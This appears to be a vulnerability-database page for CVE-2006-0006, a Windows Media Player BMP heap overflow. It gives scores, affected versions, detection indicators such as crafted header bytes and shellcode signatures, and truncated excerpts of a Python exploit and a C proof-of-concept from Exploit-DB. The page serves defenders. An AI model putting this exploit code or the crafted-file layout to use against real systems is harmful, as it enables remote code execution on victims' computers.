CVE-2006-0006
published 2006-02-14CVE-2006-0006: Heap-based buffer overflow in the bitmap processing routine in Microsoft Windows Media Player 7.1 on Windows 2000 SP4, Media Player 9 on Windows 2000 SP4 and…
PriorityP259critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
49.56%
98.8th percentile
Heap-based buffer overflow in the bitmap processing routine in Microsoft Windows Media Player 7.1 on Windows 2000 SP4, Media Player 9 on Windows 2000 SP4 and XP SP1, and Media Player 10 on XP SP1 and SP2 allows remote attackers to execute arbitrary code via a crafted bitmap (.BMP) file that specifies a size of 0 but contains additional data.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | windows_2003_server | — | — |
| microsoft | windows_media_player | — | — |
| microsoft | windows_media_player | — | — |
| microsoft | windows_media_player | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
42 4d 00 00 00 00 00 00 00 00 06 00 00 00 28 00 00 00 01 00 00 00 01 00 00 00 01 00 04 00 00 00 00 00 00 01 00 00 01 00 00 00 01 00 04 00 00 00 00 00 00 00 00 00 00 00 00 CC
bytes↗
bfOffBits = 0x00 (BMP file offset bits set to zero with non-zero image data)
- →Crafted BMP file with biSizeImage=0 (or bfOffBits=0x00) but containing additional data beyond the declared size triggers the heap overflow in Windows Media Player bitmap processing routine. ↗
- →Exploit BMP files use a BMP file header with bfOffBits set to 0x00 combined with non-zero pixel data — this is the eEye-identified magic trigger condition and an antivirus-detectable signature. ↗
- →Exploit BMP has fixed dimensions (biWidth=0x91, biHeight=0x63, biBitCount=0x18) with biSizeImage=0xA89C and total file size 0xA8D2 — these values can be used as a file-based signature. ↗
- →Shellcode in exploit 1502 contains the ASCII tag '0wn3dbyr3ds4nd' which can be used as a memory or file-based string signature to detect this specific exploit payload. ↗
- →Shellcode uses a NOP sled of 350 bytes (0x90 * 350) followed by INT3 (0xCD 0x03) — detectable in heap memory or BMP file body during scanning. ↗
- ·The ROP/EIP gadget address (0x75e1692c) is specific to Windows 2000 Professional English oleaut32.dll and will not apply to other OS versions or locales. ↗
- ·Affected versions are Windows Media Player 7.1 on Windows 2000 SP4, Media Player 9 on Windows 2000 SP4 and XP SP1, and Media Player 10 on XP SP1 and SP2 only — later service packs are patched. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (MS06-005) (2)
exploitdb·2006-02-16
CVE-2006-0006 Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (MS06-005) (2)
Microsoft Windows Media Player 7.1 > 8
b=chr(i % 256)
i=i >> 8
c=chr(i % 256)
i=i >> 8
d=chr(i % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str
def stroverwrite(instring,overwritestring,offset):
head=instring[:offset]
#print head
tail=instring[offset+len(overwritestring):]
#print tail
result=head+overwritestring+tail
return result
#options
#SEH HAndle
#anything with a call/jmp edi/ecx + 4 or more
EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut
DUMMY=0xccccccccL
filename = "rbl4ck-06-005.bmp"
header = "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"
header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"
c0de
Exploit-DB
Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (1)
exploitdb·2006-02-15
CVE-2006-0006 Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (1)
Microsoft Windows Media Player 7.1
#include
#define BITMAP_FILE_SIZE 0xA8D2
#define BITMAP_FILE_NAME "crafted.bmp"
#pragma pack( push )
#pragma pack( 1 )
// bitmap file format - http://atlc.sourceforge.net/bmp.html
//File information header provides general information about the file
typedef struct _BitmapFileHeader {
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} BMPFHEADER;
//Bitmap information header provides information specific to the image data
typedef struct _BitmapInfoHeader{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BMPIHEADER;
#pragma pack( pop )
int main(void)
{
FILE *File;
BMPFHEADE
No writeups or analysis indexed.
http://secunia.com/advisories/18835http://securityreason.com/securityalert/423http://securitytracker.com/id?1015627http://www.eeye.com/html/research/advisories/AD20060214.htmlhttp://www.kb.cert.org/vuls/id/291396http://www.securityfocus.com/archive/1/424983/100/0/threadedhttp://www.securityfocus.com/archive/1/425158/100/0/threadedhttp://www.securityfocus.com/bid/16633http://www.us-cert.gov/cas/techalerts/TA06-045A.htmlhttp://www.vupen.com/english/advisories/2006/0574https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-005https://exchange.xforce.ibmcloud.com/vulnerabilities/24488https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1256https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1578https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1598https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1661http://secunia.com/advisories/18835http://securityreason.com/securityalert/423http://securitytracker.com/id?1015627http://www.eeye.com/html/research/advisories/AD20060214.htmlhttp://www.kb.cert.org/vuls/id/291396http://www.securityfocus.com/archive/1/424983/100/0/threadedhttp://www.securityfocus.com/archive/1/425158/100/0/threadedhttp://www.securityfocus.com/bid/16633http://www.us-cert.gov/cas/techalerts/TA06-045A.htmlhttp://www.vupen.com/english/advisories/2006/0574https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-005https://exchange.xforce.ibmcloud.com/vulnerabilities/24488https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1256https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1578https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1598https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1661
2006-02-14
Published